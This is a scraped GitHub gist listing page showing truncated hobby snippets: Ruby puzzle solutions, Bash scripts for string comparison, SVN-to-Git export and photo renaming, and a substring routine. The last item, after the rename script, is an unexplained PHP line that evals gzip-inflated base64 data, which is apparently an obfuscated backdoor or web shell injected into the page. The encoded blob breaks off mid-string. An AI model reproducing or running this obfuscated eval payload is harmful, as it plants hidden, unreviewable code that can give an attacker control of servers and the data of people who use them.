Skip to content

Instantly share code, notes, and snippets.

andersonvom /tmp/sort $ wc -l random.txt
1241894 random.txt
andersonvom /tmp/sort $ time ruby merge_sort.rb
real 0m21.932s
user 0m21.730s
sys 0m0.200s
#!/bin/bash
vetor[0]="023 asdf asdf"
vetor[1]="123 asdf asdf"
vetor[2]="323 asdf asdf"
for i in 1 2 3
do
if [ "${vetor[0]}" \< "${vetor[i]}" ]
then
@andersonvom
andersonvom / email.rb
Created April 13, 2012 22:36
All 7-digit prime palindromes in the first 100.000 digits of PI
class Email
def self.arccot(x, unity)
xpow = unity / x
n = 1
sign = 1
sum = 0
loop do
term = xpow / n
break if term == 0
@andersonvom
andersonvom / recycle.rb
Created April 16, 2012 01:39
Recycled Numbers
# Google Code Jam: http://code.google.com/codejam/contest/1460488/dashboard#s=p2
def rotate(n, digits, size)
magnitude = (10 ** (size-digits))
first = n / magnitude
last = n % magnitude
result = last * (10**digits) + first
end
def num_pairs(s, e)
@andersonvom
andersonvom / fctrl.rb
Created April 17, 2012 18:48
SPOJ 011 - Factorial
def z_naive(n)
temp = 1
num_zeroes = 0
(2..n).each do |i|
temp *= i
while temp%10 == 0
temp /= 10
num_zeroes += 1
end
end
@andersonvom
andersonvom / export.sh
Created June 11, 2012 15:02
Export SVN repo to GIT
SVN_USERNAME="username"
SVN_REPO_URL="http://www.example.com/svn/project"
GIT_REPO_URL="http://www.example.com/git/project.git"
# Exporting default repo configuration
echo "Exporting default repo configuration"
mkdir newrepoA
cd newrepoA
svn2git -v $SVN_REPO_URL --username $SVN_USERNAME > log &
cd ..
@andersonvom
andersonvom / about.md
Created June 13, 2012 23:51 — forked from jasonrudolph/about.md
Programming Achievements: How to Level Up as a Developer
def substring?(s1, s2)
a = s1.size
b = s2.size
i = 0
while i <= a
x = i
j = 0
while j <= b
return true if j == b
@andersonvom
andersonvom / rename.sh
Created August 26, 2012 15:53
Shift camera picture filenames by a certain amount to avoid files with same name
#!/bin/bash
INITIAL_NUM=1012
SEPARATOR='_'
for i in *.JPG
do
basename=`basename $i .JPG`
prefix=`echo $basename | cut -d $SEPARATOR -f1`
current_num=`echo $basename | cut -d $SEPARATOR -f2`
<?php eval(gzinflate(base64_decode("DZVHDqwIAkPv0qv/xQKKjEa9IOec2bTIOaeC00/dwLbs5/JKhz/1207VkB7lnyzdSxz9ryjzuSj//MMlgbDtvlzX3gWt+1qG/NhFS5NsaRUX+qMThmWBpCzmm6ypFASoFQCvfQqtFqlAF9LvHBBgHhYpHgjKhVVdMnICPQk/LTSetpe/w2Fur+PgZseuerkmcZZ0jEKjd0k7WLL6KVefJyPjhztLi7AuHOyNkNDkveRUrVTvKuUAGgSZVHBIQzz5L5+1p6nZc6IF4Z6e8MYNy9VKRXReWIK6/swk6Y5laXNjRuZKqb2ctaFkho83eySK0T361+EiN0Xdy9xnPjHjmqRt+myumN2rdaZej6+eBSSApvmInHbsUNcMCPsp4q/4pC2RRd5IcxGUuDQXj7kF4yuyOVU/+qVvTduEQXjAkTlBlSCgW6cFQu6MilOhXUasWgjDbgDnOSoYq0V1kLyJQdjNigiIM2iAl5DlEgSjJpaIR85mYzKLsWwDj+YFjqyHpKDZ6fY1hd3JRABdfg0Hwe9dhTGQ0rQn2j/2VwUBy3O3dQ4hdfAqkqh6b6NmX/0eZV8Ki4AyginkigpU59BwyB75RFkvm6uJIEBdSaoD1MNeECFyL0C7zCYqBkMfIZmlHZHm6YbD+XddXBWkGtqqTljf3zUEBhbGjWl54cBU12ZFdBlmuk/F4gNuaB6txoNNfRDs7hM9DdK8ctULOqVWeTC/CJczXG30JuOx9hrmo+QQ/llHfq4amTbo1HEgnRWnvaw5bHX2T0K1IogO/ShXgBSCObVqeYqe9/AdPX2Q4fSqLEjt0vO0I40AzJxLE5JasHzdpMEfVWb7FqPWFZ09RsbcxTDdViHnBiYr63cT57oea1X6MRxf38OJV+I4svOStSxLP7Ou5RfqWx33SqtVYkSSLRbIYDWDwr7DJ5rT02M+zUIdOWBVxIJqfsKCmxUIKPi2NX6XWsQwfAdTG85w2A5nmf1Z